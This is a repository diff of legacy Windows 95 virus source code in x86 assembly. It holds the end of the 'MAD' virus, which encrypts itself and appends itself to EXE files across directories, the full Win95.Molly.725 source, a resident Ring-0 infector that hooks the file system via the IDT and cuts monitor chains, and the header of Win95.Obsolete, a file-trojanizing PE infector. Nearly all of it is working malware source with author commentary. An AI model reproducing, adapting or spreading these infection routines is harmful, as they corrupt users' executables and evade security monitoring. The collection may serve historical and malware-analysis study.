||||
push edx
|
||||
add ss:pRAW[ebp+esi], eax ;pointer to raw data
|
||||
or ss:ObjAttr[ebp+esi], 0C0000040h ;object attributes
|
||||
add ecx, ss:RVA[ebp+esi] ;RVA of section
|
||||
mov edx, ss:EntryRVA[ebp]
|
||||
mov ss:EntryRVA[ebp], ecx
|
||||
sub ecx, edx
|
||||
add ecx, 5
|
||||
mov dword ptr ss:old_RVA+1[ebp], ecx
|
||||
mov ss:InfectionMark[ebp], 'WDAM' ;set the mark
|
||||
mov edi, ss:PEPointer[ebp]
|
||||
call file_seek
|
||||
mov edi, offset PEHeader
|
||||
add edi, ebp
|
||||
mov ecx, 8D0h
|
||||
call write_file ;write the modificated
|
||||
pop edi ;header info
|
||||
add ss:Seed[ebp], edi
|
||||
call file_seek
|
||||
mov eax, ss:Seed[ebp]
|
||||
neg eax
|
||||
mov ss:Key[ebp], al
|
||||
mov esi, offset start
|
||||
add esi, ebp
|
||||
mov edi, offset EncriptedBody
|
||||
add edi, ebp
|
||||
mov ecx, 0AB0h
|
||||
cld
|
||||
repe movsb ;zopy virus to work area
|
||||
mov edi, offset EncriptedBody
|
||||
add edi, ebp
|
||||
add edi, 45h
|
||||
mov ecx, 0A6Bh
|
||||
mov al, ss:Key[ebp]
|
||||
|
||||
enc_loop:
|
||||
xor [edi], al ;encript it
|
||||
inc edi
|
||||
loop enc_loop
|
||||
mov edi, offset EncriptedBody
|
||||
add edi, ebp
|
||||
mov ecx, 0AB0h
|
||||
call write_file ;attach virus
|
||||
|
||||
error_close:
|
||||
not ss:Seed[ebp]
|
||||
lea eax, _CloseFile[ebp]
|
||||
call get_api_addr
|
||||
jb short _check_payload
|
||||
push ss:FileHandle[ebp]
|
||||
call eax
|
||||
|
||||
find_next:
|
||||
lea eax, _FNFile[ebp]
|
||||
call get_api_addr
|
||||
jb short _check_payload
|
||||
lea edx, FINDATA[ebp]
|
||||
push edx
|
||||
push ss:SearchHandle[ebp]
|
||||
call eax
|
||||
cmp eax, 0
|
||||
jnz infect_next
|
||||
|
||||
change_dir:
|
||||
cmp ss:TotalInf[ebp], 3 ;only stop after 3 directorys
|
||||
jz short _check_payload ;infected
|
||||
lea eax, _SetDir[ebp]
|
||||
call get_api_addr
|
||||
jb short _check_payload
|
||||
lea edx, DotDot[ebp] ;go down a directory
|
||||
push edx
|
||||
call eax
|
||||
inc ss:TotalInf[ebp]
|
||||
cmp eax, 1
|
||||
jz find_filez
|
||||
|
||||
_check_payload:
|
||||
jmp short check_payload
|
||||
|
||||
read_file:
|
||||
push edi
|
||||
push ecx
|
||||
lea eax, _ReadFile[ebp]
|
||||
call get_api_addr
|
||||
pop ecx
|
||||
pop edi
|
||||
cmp eax, 0
|
||||
jnz short rf_addr_ok
|
||||
stc
|
||||
retn
|
||||
rf_addr_ok:
|
||||
push 0
|
||||
lea ebx, NumRead[ebp]
|
||||
push ebx
|
||||
push ecx
|
||||
push edi
|
||||
push ss:FileHandle[ebp]
|
||||
call eax
|
||||
retn
|
||||
|
||||
write_file:
|
||||
push edi
|
||||
push ecx
|
||||
lea eax, _WriteFile[ebp]
|
||||
call get_api_addr
|
||||
pop ecx
|
||||
pop edi
|
||||
cmp eax, 0
|
||||
jnz short wf_addr_ok
|
||||
stc
|
||||
retn
|
||||
wf_addr_ok:
|
||||
push 0
|
||||
lea ebx, NumRead[ebp]
|
||||
push ebx
|
||||
push ecx
|
||||
push edi
|
||||
push ss:FileHandle[ebp]
|
||||
call eax
|
||||
retn
|
||||
|
||||
file_seek:
|
||||
lea eax, _FileSeek[ebp]
|
||||
call get_api_addr
|
||||
push 0
|
||||
push 0
|
||||
push edi
|
||||
push ss:FileHandle[ebp]
|
||||
call eax
|
||||
retn
|
||||
|
||||
check_payload:
|
||||
lea eax, _GetTime[ebp]
|
||||
call get_api_addr
|
||||
jb short no_payload
|
||||
lea edx, SYSTIME[ebp]
|
||||
push edx
|
||||
call eax
|
||||
cmp ss:cDay[ebp], 1
|
||||
jnz short no_payload
|
||||
lea eax, _User32[ebp]
|
||||
push eax
|
||||
mov eax, ss:pGetModuleHdle[ebp]
|
||||
call eax ;get handle for USER32.DLL
|
||||
mov ss:KernelHandle[ebp], eax
|
||||
cmp eax, 0
|
||||
jz short no_payload
|
||||
lea eax, _MsgBox[ebp]
|
||||
call get_api_addr
|
||||
jb short no_payload
|
||||
push 1030h
|
||||
mov edx, offset MsgTitle
|
||||
add edx, ebp
|
||||
push edx
|
||||
mov edx, offset MsgText
|
||||
add edx, ebp
|
||||
push edx
|
||||
push 0
|
||||
call eax ;pop a MessageBox with virus
|
||||
lea eax, _Kernel32[ebp] ;credits
|
||||
push eax
|
||||
mov eax, ss:pGetModuleHdle[ebp]
|
||||
call eax
|
||||
mov ss:KernelHandle[ebp], eax
|
||||
|
||||
no_payload:
|
||||
lea eax, _SetDir[ebp]
|
||||
call get_api_addr
|
||||
jb short return_host
|
||||
lea edx, CurrentDir[ebp]
|
||||
push edx
|
||||
call eax
|
||||
|
||||
return_host:
|
||||
mov edi, ebp
|
||||
mov ebp, ds:SaveEBP[edi]
|
||||
jmp ds:HostEntry[edi]
|
||||
|
||||
extract_addr:
|
||||
pusha
|
||||
mov ecx, [esi]
|
||||
add esi, 4
|
||||
repe cmpsb ;is api we want?
|
||||
popa
|
||||
jnz short no_func
|
||||
xchg eax, esi
|
||||
mov eax, [ebx+1Ch]
|
||||
add eax, ss:pAPIRVA[ebp]
|
||||
add eax, ss:KernelBase[ebp]
|
||||
add eax, ecx
|
||||
mov eax, [eax]
|
||||
add eax, ss:KernelBase[ebp]
|
||||
mov [esi], eax ;set adress
|
||||
no_func:
|
||||
retn
|
||||
|
||||
get_api_addr:
|
||||
push eax
|
||||
mov eax, ss:KernelHandle[ebp]
|
||||
push eax
|
||||
call ss:pGetProcAddress[ebp]
|
||||
cmp eax, 0
|
||||
jnz short proc_found
|
||||
stc ;set carry on error
|
||||
proc_found:
|
||||
retn
|
||||
|
||||
KernelBase dd 0
|
||||
pAPIRVA dd 0
|
||||
|
||||
pGetProcAddress dd 0
|
||||
szGetProcAddres dd 0Fh ;size of string to search
|
||||
db 'GetProcAddress',0
|
||||
|
||||
pGetModuleHdle dd 0
|
||||
szGetModuleHdle dd 11h ;size of string to search
|
||||
db 'GetModuleHandleA',0
|
||||
|
||||
_Kernel32 db 'KERNEL32',0
|
||||
_User32 db 'USER32',0
|
||||
|
||||
_MsgBox db 'MessageBoxA',0 ;this one we get from user32
|
||||
|
||||
_FFile db 'FindFirstFileA',0 ;and all these otherz from
|
||||
_CreateFile db 'CreateFileA',0 ;kernel32
|
||||
_CloseFile db 'CloseHandle',0
|
||||
_ReadFile db 'ReadFile',0
|
||||
_WriteFile db 'WriteFile',0
|
||||
_FileSeek db 'SetFilePointer',0
|
||||
_FNFile db 'FindNextFileA',0
|
||||
_GetTime db 'GetLocalTime',0
|
||||
_SetDir db 'SetCurrentDirectoryA',0
|
||||
_GetDir db 'GetCurrentDirectoryA',0
|
||||
|
||||
KernelHandle dd 0 ;also used for USER32.DLL
|
||||
;when using payload
|
||||
|
||||
MsgTitle db 'Multiplatform Advanced Destroyer',0
|
||||
MsgText db 'Hello user your computer is infected by MAD virus',0Dh
|
||||
db 'Welcome to my first virus for Windoze95...',0Dh
|
||||
db 'Distribution & Copyright by Black Angel 1997',0
|
||||
;uhh... a confession... ;-)
|
||||
|
||||
ExeMask db '*.eXe',0
|
||||
|
||||
db '[MAD for Win95] version 1.0 BETA! (c)Black Angel`97',0
|
||||
|
||||
DotDot db '..',0 ;for directory changing
|
||||
|
||||
SearchHandle dd 0
|
||||
FileHandle dd 0
|
||||
NumRead dd 0
|
||||
Seed dd 0
|
||||
|
||||
SYSTIME equ this byte
|
||||
cYear dw 0
|
||||
cMonth dw 0
|
||||
cDWeek dw 0
|
||||
cDay dw 0
|
||||
cHour dw 0
|
||||
cMin dw 0
|
||||
cSec dw 0
|
||||
cMlSec dw 0
|
||||
|
||||
FINDATA dd 0 ;File Attribute
|
||||
dd 0 ;Creation Date
|
||||
dd 0 ;Last Acess Date
|
||||
dd 0 ;Last Write Date
|
||||
dd 0 ;File Size h
|
||||
dd 0 ;File Size l
|
||||
dd 0 ;Reserved
|
||||
Security dd 0
|
||||
FileName db 0Ch dup(0)
|
||||
FileName2 db 200h dup(0)
|
||||
|
||||
PEPointer dd 0
|
||||
TotalInf db 0
|
||||
CurrentDir db 100h dup(0)
|
||||
|
||||
PEHeader dd 0 ;from here to end, are all
|
||||
dw 0 ;bufferz that w95.mad.2736
|
||||
NumberSections dw 0 ;use for read, encription
|
||||
db 20h dup(0) ;and like...
|
||||
EntryRVA dd 0
|
||||
db 0Ch dup(0)
|
||||
FileAlign dd 0
|
||||
ObjAlign dd 0
|
||||
db 18h dup(0)
|
||||
InfectionMark dd 0
|
||||
EncriptedBody db 0A4h dup(0)
|
||||
szRVA dd 0
|
||||
RVA dd 0
|
||||
pRAW dd 0
|
||||
szRAW dd 0
|
||||
dd 0
|
||||
dd 0
|
||||
dd 0
|
||||
ObjAttr dd 0
|
||||
db 608Ch dup(0)
|
||||
|
||||
end start
|
||||
|
||||
|
||||
|
||||
|
||||
|
3984
LegacyWindows/Win95.Marburg.asm
Normal file
3984
LegacyWindows/Win95.Marburg.asm
Normal file
File diff suppressed because it is too large
Load Diff
2482
LegacyWindows/Win95.Matrix.asm
Normal file
2482
LegacyWindows/Win95.Matrix.asm
Normal file
File diff suppressed because it is too large
Load Diff
540
LegacyWindows/Win95.Molly.725.asm
Normal file
540
LegacyWindows/Win95.Molly.725.asm
Normal file
@ -0,0 +1,540 @@
|
||||
; [Win95.Molly.725] - An experimental specimen
|
||||
; Copyright (c) 1999 by Billy Belcebu/iKX
|
||||
;
|
||||
; [ Introduction ]
|
||||
;
|
||||
; This is an experimental virus. After Win32.Legacy i needed to do something
|
||||
; small and functional. And here it is. This is my third Ring-0 virus,but the
|
||||
; code scheme is different this time from my two other R0's (Garaipena and
|
||||
; PoshKiller). This virus was written just at the same time while i started
|
||||
; to read Neuromancer, and as you can see, its name comes from the girl with
|
||||
; specular lens, that is one of the main characters of the book (hey, don't
|
||||
; hesitate and read it!).
|
||||
;
|
||||
; [ Features ]
|
||||
;
|
||||
; + Ring-0 virus by means of modifying the IDT
|
||||
; + Resident fast infector of PE files with EXE extension
|
||||
; + Infects when system opens file
|
||||
; + Overwriting virus (heheh, don't go mad, overwrite relocs) :)
|
||||
; + AntiMonitor tunneling (through InstallFileSystemApiHook structure)
|
||||
; + Heavy optimization (at least i've tried to), only 725 bytes
|
||||
; + My smallest virus so far :)
|
||||
;
|
||||
; [ Greetings ]
|
||||
;
|
||||
; + Wintermute &
|
||||
; zAxOn - Thanx for pushing me to read Neuromancer... W0W!
|
||||
; + Qozah/29A - Thanx for your help and support, dude
|
||||
; + Benny/29A - I wanna hear that Czech group ;)
|
||||
; + Super/29A - Why are you always in my greets? :)
|
||||
; + StarZer0/iKX - sexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsex
|
||||
; + b0z0/iKX - Padania Libera rules!
|
||||
;
|
||||
; (c) 1999 Billy Belcebu/iKX
|
||||
|
||||
.586p
|
||||
.model flat,stdcall
|
||||
|
||||
extrn MessageBoxA:PROC
|
||||
extrn ExitProcess:PROC
|
||||
|
||||
.data
|
||||
|
||||
szTitle db "[Win95.Molly."
|
||||
db virus_size/0100 mod 10 + "0"
|
||||
db virus_size/0010 mod 10 + "0"
|
||||
db virus_size/0001 mod 10 + "0"
|
||||
db "]",0
|
||||
szMessage db "First generation host",10
|
||||
db "(c) 1999 Billy Belcebu/iKX",0
|
||||
|
||||
.code
|
||||
|
||||
virus:
|
||||
int 3
|
||||
jmp molly1
|
||||
fakehost:
|
||||
call MessageBoxA,00h,offset szMessage,offset szTitle,1000h
|
||||
call ExitProcess,00h
|
||||
|
||||
; ===========================================================================
|
||||
; Win95.Molly
|
||||
; ===========================================================================
|
||||
|
||||
molly segment dword use32 public '.molly'
|
||||
|
||||
; --- Virus mode
|
||||
|
||||
DEBUG equ FALSE
|
||||
|
||||
; --- Some equates
|
||||
|
||||
d equ <[ebp]-offset delta>
|
||||
rd equ <[ebp]-offset r0delta>
|
||||
rd_ equ <[ebx]-offset r0delta>
|
||||
|
||||
virus_size equ virus_end-virus_start
|
||||
heap_size equ heap_end-virus_end
|
||||
total_size equ virus_size+heap_size
|
||||
|
||||
TRUE equ 01h
|
||||
FALSE equ 00h
|
||||
|
||||
PUSHAD_EDI equ 00h
|
||||
PUSHAD_ESI equ 04h
|
||||
PUSHAD_EBP equ 08h
|
||||
PUSHAD_ESP equ 0Ch
|
||||
PUSHAD_EBX equ 10h
|
||||
PUSHAD_EDX equ 14h
|
||||
PUSHAD_ECX equ 18h
|
||||
PUSHAD_EAX equ 1Ch
|
||||
|
||||
PUSHAD_SIZE equ 20h
|
||||
|
||||
; --- VxD Functions
|
||||
|
||||
VMM_Get_DDB equ 00010146h
|
||||
IFSMgr_GetHeap equ 0040000Dh
|
||||
IFSMgr_RetHeap equ 0040000Eh
|
||||
IFSMgr_Ring0_FileIO equ 00400032h
|
||||
IFSMgr_InstallFileSystemApiHook equ 00400067h
|
||||
|
||||
; --- Hooked Functions
|
||||
|
||||
IFSFN_FILEATTRIB equ 21h
|
||||
IFSFN_OPEN equ 24h
|
||||
IFSFN_RENAME equ 25h
|
||||
|
||||
; --- IFSMgr_Ring0_FileIO functions used
|
||||
|
||||
R0_FILEATTRIBUTES equ 04300h
|
||||
R0_OPENCREATFILE equ 0D500h
|
||||
R0_CLOSEFILE equ 0D700h
|
||||
R0_READFILE equ 0D600h
|
||||
R0_WRITEFILE equ 0D601h
|
||||
|
||||
; --- Macro land
|
||||
|
||||
dbg macro shit2do
|
||||
IF DEBUG
|
||||
shit2do
|
||||
ENDIF
|
||||
endm
|
||||
|
||||
beep macro
|
||||
mov ax, 1000
|
||||
mov bx, 200
|
||||
mov cx, ax
|
||||
mov al, 0B6h
|
||||
out 43h, al
|
||||
mov dx, 0012h
|
||||
mov ax, 34DCh
|
||||
div cx
|
||||
out 42h, al
|
||||
mov al, ah
|
||||
out 42h, al
|
||||
in al, 61h
|
||||
mov ah, al
|
||||
or al, 03h
|
||||
out 61h, al
|
||||
l1: mov ecx, 4680d
|
||||
l2: loop l2
|
||||
dec bx
|
||||
jnz l1
|
||||
mov al, ah
|
||||
out 61h, al
|
||||
endm
|
||||
|
||||
VxDCall macro VxDService
|
||||
int 20h
|
||||
dd VxDService
|
||||
endm
|
||||
|
||||
VxDJmp macro VxDService
|
||||
int 20h
|
||||
dd VxDService+8000h
|
||||
endm
|
||||
|
||||
virus_start label byte
|
||||
|
||||
; --- Virus entrypoint
|
||||
|
||||
molly1: jmp gdelta
|
||||
|
||||
; --- Virus data
|
||||
|
||||
kernel dd 00000000h
|
||||
|
||||
; --- Virus code
|
||||
|
||||
gdelta: call delta ; Get a relative offset
|
||||
delta: pop ebp
|
||||
|
||||
push 05h ; ECX = 5
|
||||
pop ecx ; (limit for 'GetImageBase')
|
||||
|
||||
mov esi,ebp ; ESI = Relative offset
|
||||
call GetImageBase ; Get host's imagebase
|
||||
mov ModBase d,eax ; Store it
|
||||
|
||||
mov ecx,cs ; Avoid installation if we're
|
||||
xor cl,cl ; in WinNT
|
||||
jecxz GimmeSomethingBaby
|
||||
|
||||
push 05h ; ECX = 5
|
||||
pop ecx ; (limit for 'GetImageBase')
|
||||
|
||||
mov esi,[esp]
|
||||
call GetImageBase
|
||||
mov kernel d,eax
|
||||
|
||||
push edx
|
||||
sidt fword ptr [esp-2] ; Interrupt table to stack
|
||||
pop edx
|
||||
|
||||
IF DEBUG
|
||||
add dl,((5*8)+4)
|
||||
ELSE
|
||||
add dl,((3*8)+4)
|
||||
ENDIF
|
||||
|
||||
mov ebx,[edx]
|
||||
mov bx,word ptr [edx-4]
|
||||
|
||||
lea esi,NewInt3 d
|
||||
|
||||
mov [edx-4],si
|
||||
shr esi,16 ; Move MSW to LSW
|
||||
mov [edx+2],si
|
||||
|
||||
IF DEBUG
|
||||
int 5
|
||||
ELSE
|
||||
int 3
|
||||
ENDIF
|
||||
|
||||
mov [edx-4],bx
|
||||
shr ebx,16
|
||||
mov [edx+2],bx
|
||||
|
||||
GimmeSomethingBaby:
|
||||
mov ebx,00400000h ; Get at runtime
|
||||
ModBase equ $-4
|
||||
add ebx,(fakehost-virus)+00001000h ; Get at infection time
|
||||
OldEIP equ $-4
|
||||
|
||||
jmp ebx
|
||||
|
||||
NewInt3:
|
||||
pushad
|
||||
|
||||
dbg
|
||||
|
||||
mov eax,kernel d ; EAX = K32 imagebase
|
||||
add al,38h ; Ptr to an unused field
|
||||
|
||||
cmp word ptr [eax],0CA5Eh ; Already installed?
|
||||
jz already_installed ; If so, exit
|
||||
|
||||
mov word ptr [eax],0CA5Eh ; Case is here...
|
||||
|
||||
fild real8 ptr [ebp+(@@1-delta)] ; Do u know any other way for
|
||||
; manipulate more than 4 bytes?
|
||||
; (without MMX, dork ;)
|
||||
push total_size
|
||||
@@1: VxDCall IFSMgr_GetHeap
|
||||
xchg eax,ecx
|
||||
pop eax
|
||||
|
||||
fistp real8 ptr [ebp+(@@1-delta)]
|
||||
|
||||
jecxz already_installed
|
||||
|
||||
xchg eax,ecx
|
||||
mov edi,eax
|
||||
lea esi,virus_start d
|
||||
rep movsb
|
||||
|
||||
lea edi,[eax+(FileSystemHook-virus_start)]
|
||||
xchg edi,eax
|
||||
push eax
|
||||
@@2: VxDCall IFSMgr_InstallFileSystemApiHook
|
||||
pop ebx
|
||||
|
||||
xchg esi,eax
|
||||
push esi
|
||||
add esi,04h
|
||||
tunnel: lodsd
|
||||
xchg eax,esi
|
||||
add esi,08h
|
||||
js tunnel
|
||||
|
||||
mov dword ptr [edi+(top_chain-virus_start)],eax
|
||||
pop eax
|
||||
mov dword ptr [edi+(OldFSA-virus_start)],eax
|
||||
|
||||
and byte ptr [edi+(semaphore-virus_start)],00h
|
||||
|
||||
already_installed:
|
||||
popad
|
||||
iret
|
||||
|
||||
; --- The new FileSystem hook ;)
|
||||
|
||||
FileSystemHook proc c, FSD_Func_Address:DWORD, Function:DWORD, Drive:DWORD,\
|
||||
ResourceKind:DWORD, StrCodePage:DWORD, PtrIOREQ:DWORD
|
||||
|
||||
cmp Function,IFSFN_OPEN ; File Open? Infect if it is
|
||||
jz infect
|
||||
|
||||
ExitFileSystemHook:
|
||||
mov eax,12345678h
|
||||
org $-4
|
||||
OldFSA dd 00000000h
|
||||
call [eax] c, FSD_Func_Address, Function, Drive, ResourceKind, \
|
||||
StrCodePage, PtrIOREQ
|
||||
ret
|
||||
FileSystemHook endp
|
||||
|
||||
r0fio: VxDJmp IFSMgr_Ring0_FileIO
|
||||
R0_FileIO: VxDJmp IFSMgr_Ring0_FileIO
|
||||
dw 0000h
|
||||
|
||||
pe_header_ptr dd 00000000h
|
||||
top_chain dd 00000000h
|
||||
semaphore db 00h
|
||||
|
||||
infect:
|
||||
pushfd
|
||||
pushad
|
||||
|
||||
call r0delta
|
||||
r0delta:pop ebx
|
||||
|
||||
cmp byte ptr [ebx+(semaphore-r0delta)],00h
|
||||
jnz exit_infect
|
||||
|
||||
inc byte ptr [ebx+(semaphore-r0delta)]
|
||||
|
||||
lea esi,top_chain rd_ ; Make null top chain, so we
|
||||
lodsd ; avoid monitors by means of
|
||||
xor edx,edx ; cutting their balls :)
|
||||
xchg [eax],edx
|
||||
|
||||
pushad
|
||||
|
||||
lea edi,filename rd_
|
||||
push edi
|
||||
|
||||
mov esi,PtrIOREQ ; ESI = Ptr to IOREQ struc
|
||||
mov esi,[esi.2Ch] ; ESI = Ptr to UNI filename
|
||||
uni2asciiz:
|
||||
movsb ; Convert to ASCIIz
|
||||
dec edi
|
||||
cmpsb
|
||||
jnz uni2asciiz
|
||||
|
||||
pop edx ; EDI = Ptr to ASCIIz filename
|
||||
|
||||
cmp dword ptr [edi-05h],"EXE." ; Infect only EXE files
|
||||
jnz AvoidInfection
|
||||
|
||||
IF DEBUG
|
||||
cmp dword ptr [edi-0Ch],"TAOG"
|
||||
jnz AvoidInfection
|
||||
ENDIF
|
||||
|
||||
mov esi,edx ; ESI = Ptr to filename
|
||||
xor eax,eax
|
||||
mov ah,R0_FILEATTRIBUTES/100h ; EAX = Function
|
||||
; GETFILEATTRIBUTES
|
||||
push eax
|
||||
call R0_FileIO
|
||||
pop eax
|
||||
jc AvoidInfection
|
||||
|
||||
inc eax ; EAX = Function
|
||||
; SETFILEATTRIBUTES
|
||||
push esi
|
||||
push ecx
|
||||
push eax
|
||||
xor ecx,ecx ; ECX = New attributes
|
||||
call R0_FileIO
|
||||
jc RestoreAttributes
|
||||
|
||||
xor eax,eax
|
||||
cdq
|
||||
mov ah,R0_OPENCREATFILE/100h ; EAX = Function OPENFILE
|
||||
mov ecx,edx ; ECX = 0
|
||||
inc edx ; EDX = 1
|
||||
mov ebp,edx
|
||||
inc ebp
|
||||
xchg ebp,ebx ; EBX = 2
|
||||
call R0_FileIO
|
||||
jc RestoreAttributes
|
||||
xchg eax,ebx ; EBX = File handle
|
||||
|
||||
xor eax,eax
|
||||
mov ah,R0_READFILE/100h ; EAX = Function READFILE
|
||||
push eax
|
||||
push 04h
|
||||
pop ecx ; ECX = Bytes to read (4)
|
||||
push 3Ch
|
||||
pop edx ; EDX = Where to read (3C)
|
||||
lea esi,pe_header_ptr rd ; ESI = Where store data
|
||||
call R0_FileIO
|
||||
|
||||
lodsd
|
||||
xchg eax,edx ; EDX = Where to read
|
||||
pop eax ; EAX = Function READFILE
|
||||
lea esi,pe_header rd ; ESI = Where store data
|
||||
xor ecx,ecx
|
||||
mov ch,04h ; ECX = Bytes to read (1K)
|
||||
call R0_FileIO
|
||||
|
||||
cmp word ptr [esi],"EP"
|
||||
jnz CloseFile
|
||||
|
||||
mov al,"M"-"O"+"L"-"L"+"Y" ; Mark in the PE header
|
||||
cmp byte ptr [esi+1Ah],al
|
||||
jz CloseFile
|
||||
mov byte ptr [esi+1Ah],al
|
||||
|
||||
mov edi,esi
|
||||
movzx eax,word ptr [edi+06h] ; Get last section of header
|
||||
dec eax
|
||||
imul eax,eax,28h
|
||||
add esi,eax
|
||||
add esi,78h
|
||||
mov edx,[edi+74h]
|
||||
shl edx,03h
|
||||
add esi,edx ; ESI = last section header
|
||||
; EDI = PE header
|
||||
|
||||
mov [esi+24h],0E0000000h ; New sectionz attributes
|
||||
|
||||
and dword ptr [edi+0A0h],00h ; Nulify possible .reloc
|
||||
and dword ptr [edi+0A4h],00h
|
||||
|
||||
cmp dword ptr [esi],"ler."
|
||||
jnz CloseFile
|
||||
cmp word ptr [esi+04h],"co"
|
||||
jnz CloseFile
|
||||
|
||||
; Oh, wtf, OVERWRITE! ;)
|
||||
|
||||
mov dword ptr [esi],"lom." ; .reloc -> .molly
|
||||
mov word ptr [esi+4],"yl"
|
||||
|
||||
and dword ptr [esi+18h],00h ; Clear PointerToRelocations
|
||||
and word ptr [esi+20h],00h ; Clear NumberOfRelocations
|
||||
|
||||
push dword ptr [esi+14h] ; Where copy virus
|
||||
|
||||
mov eax,virus_size
|
||||
mov [esi+08h],eax ; VirtualSize -> virus size
|
||||
mov ecx,[edi+3Ch]
|
||||
|
||||
cdq ; Align, sucker
|
||||
push eax
|
||||
div ecx
|
||||
pop eax
|
||||
sub ecx,edx
|
||||
add eax,ecx
|
||||
|
||||
mov [esi+10h],eax ; SizeOfRawData -> aligned
|
||||
; virus size
|
||||
|
||||
mov eax,[esi+0Ch] ; New EIP
|
||||
xchg eax,[edi+28h] ; Put new EIP and get old one
|
||||
mov OldEIP rd,eax ; Save it
|
||||
|
||||
push eax
|
||||
|
||||
xor eax,eax
|
||||
mov ah,R0_WRITEFILE/100h ; Write the modified header
|
||||
inc eax
|
||||
push eax
|
||||
xor ecx,ecx
|
||||
mov ch,04h
|
||||
mov edx,pe_header_ptr rd
|
||||
lea esi,pe_header rd
|
||||
call R0_FileIO
|
||||
|
||||
fild real8 ptr [ebp+(r0fio-r0delta)] ; Fix R0_FileIO VxDJmp...
|
||||
fistp real8 ptr [ebp+(R0_FileIO-r0delta)]
|
||||
|
||||
pop eax ; Write virus
|
||||
pop ecx
|
||||
pop edx
|
||||
lea esi,virus_start rd
|
||||
call R0_FileIO
|
||||
|
||||
CloseFile:
|
||||
xor eax,eax
|
||||
mov ah,R0_CLOSEFILE/100h
|
||||
call R0_FileIO
|
||||
|
||||
RestoreAttributes:
|
||||
pop eax
|
||||
pop ecx
|
||||
pop esi
|
||||
call R0_FileIO
|
||||
|
||||
AvoidInfection:
|
||||
popad
|
||||
|
||||
mov [eax],edx ; Restore top chain
|
||||
|
||||
dec byte ptr [ebx+(semaphore-r0delta)]
|
||||
|
||||
exit_infect:
|
||||
popad
|
||||
popfd
|
||||
jmp ExitFileSystemHook
|
||||
|
||||
; input:
|
||||
; ESI - Any position in the page where we want to search
|
||||
; ECX - Search limit (number of pages(limit)/10)
|
||||
; output:
|
||||
; EAX - Base address of module/process
|
||||
|
||||
GetImageBase:
|
||||
pushad
|
||||
and esi,0FFFF0000h
|
||||
_@1: cmp word ptr [esi],"ZM"
|
||||
jz CheckPE
|
||||
_@2: sub esi,00010000h
|
||||
loop _@1
|
||||
jmp WeFailed
|
||||
CheckPE:
|
||||
mov edi,[esi.3Ch]
|
||||
add edi,esi
|
||||
cmp word ptr [edi],"EP"
|
||||
jnz _@2
|
||||
mov [esp.PUSHAD_EAX],esi
|
||||
WeFailed:
|
||||
popad
|
||||
ret
|
||||
|
||||
; --- Some shit
|
||||
|
||||
db 00h,"[Win95.Molly] (c) 1999 Billy Belcebu/iKX",00h
|
||||
|
||||
; --- Virus heap data
|
||||
|
||||
virus_end label byte
|
||||
filename db 100h dup (00h)
|
||||
pe_header db 400h dup (00h)
|
||||
|
||||
heap_end label byte
|
||||
|
||||
molly ends
|
||||
|
||||
end virus
|
||||
|
||||
|
||||
|
||||
|
||||
|
854
LegacyWindows/Win95.Obsolete.asm
Normal file
854
LegacyWindows/Win95.Obsolete.asm
Normal file
@ -0,0 +1,854 @@
|
||||
;============================================================================
|
||||
;
|
||||
;
|
||||
; NAME: Win95.Obsolete v1.00
|
||||
; TYPE: Direct-action variable encrypting PE-infector.
|
||||
; OS: Windoze95 (my version that is).
|
||||
; SIZE: 1400-sumptin' bytes (yuck!).
|
||||
; AUTHOR: T-2000 / [Immortal Riot].
|
||||
; E-MAIL: T2000_@hotmail.com
|
||||
; DATE: December 1998 - February 1999.
|
||||
; PAYLOAD: Trojanizes files.
|
||||
;
|
||||
;
|
||||
; Driven by the painful thought that my virii would never make the rounds
|
||||
; again, I had to abandon my soulmate DOS and start writing for the Win32-
|
||||
; beast... may the Incubus get me...
|
||||
;
|
||||
; Obsolete is a 32-bit virus specifically written for Windoze95, however,
|
||||
; it may or may not work correctly under other Win95-releases than mine,
|
||||
; this due the fact that it uses two static API's (namely GetModuleHandleA
|
||||
; and GetProcAddressA). When an infected file is executed the virus will
|
||||
; try to infect up to three PE EXE/SCR files in the Windoze, System, and
|
||||
; current directory. Files starting with the DWORD 'SCAN' will be excluded
|
||||
; from infection, I assume McFuck's Win95-SCAN does a sanity-check, though
|
||||
; I haven't verified this. Filedates/times will be preserved during the
|
||||
; infection-process, and the virus won't be bothered by readonly-attributes.
|
||||
; Obsolete doesn't fix a PE's alignments, Win95 doesn't give a fuck while
|
||||
; WinNT does. Infection is achieved by adding the virusbody to the end of
|
||||
; the victim's last section and pointing Entrypoint_RVA to this position.
|
||||
; PE's are physically cut-off after the virusbody, this means that infected
|
||||
; files can both grow or shrink in size. To make this heap of API's a bit
|
||||
; less trivial I made it variable encrypt the last section of the host-file,
|
||||
; it should harden-up recovery for the AV-pigs. Besides the virus itself is
|
||||
; also variable encrypted with a seperate key. The payload is rather "harm-
|
||||
; less" from my point of view, every now & then it trojanizes the file it is
|
||||
; infecting, trojanized files will generate a soundblaster beep, display an
|
||||
; OK-box with a message, and then exit the current process, they won't pass
|
||||
; control back to their host anymore, but are still cleanable.
|
||||
;
|
||||
; Now why is it that almost everybody is infecting PE's by adding to the
|
||||
; last section? (being called the "29A-technique" by a certain group of
|
||||
; braggers). For instance, you are changing the section's flags, in Windoze
|
||||
; you should always stay the fuck off things that ain't yours. Furthermore,
|
||||
; when you overwrite the (supposed to be) zero padding-bytes with your virus,
|
||||
; you might just as well overwrite overlay-data, and what if you decide to
|
||||
; stay resident in the "stolen" section? it is very likely that the section's
|
||||
; virtualsize will overlap with your virus, and thus crash the system.
|
||||
;
|
||||
;
|
||||
; CREDITS:
|
||||
;
|
||||
; Thanks to Lord Julus for writing that PE-infection guide which showed me
|
||||
; the basics of Win32-programming, further more JFK's One was of much help
|
||||
; as it was well commented, yet not too complicated. Biggest thanks go to
|
||||
; Virogen and Murkry for teaching me the steps of how to infect a PE-file.
|
||||
; Unfortunately Johnny Panic's info was a bit too advanched for me to
|
||||
; understand as for now, and TechnoDrunk's advice was as usual hidden
|
||||
; between a large amount of polymorphic junk-comments. Much information was
|
||||
; gathered from the excellent PE-essays written by Micheal J. O'Leary and
|
||||
; B. Luevelsmeyer (though the last one mentioned contained some errors).
|
||||
;
|
||||
; As this is my 1st Win32-virus, errors are very likely to exist in this
|
||||
; source, if you do find any of them, and/or have any advice for me regarding
|
||||
; Win32-coding, please do inform me about it.
|
||||
;
|
||||
; P.S. First generations will crash on exit.
|
||||
;
|
||||
; P.P.S. How the fuck do I smash sectors in Win32 ?
|
||||
;
|
||||
;============================================================================
|
||||
|
||||
|
||||
ORG 0
|
||||
|
||||
.386p
|
||||
.MODEL FLAT
|
||||
.DATA
|
||||
|
||||
DD 0 ; Uch, without this the file will
|
||||
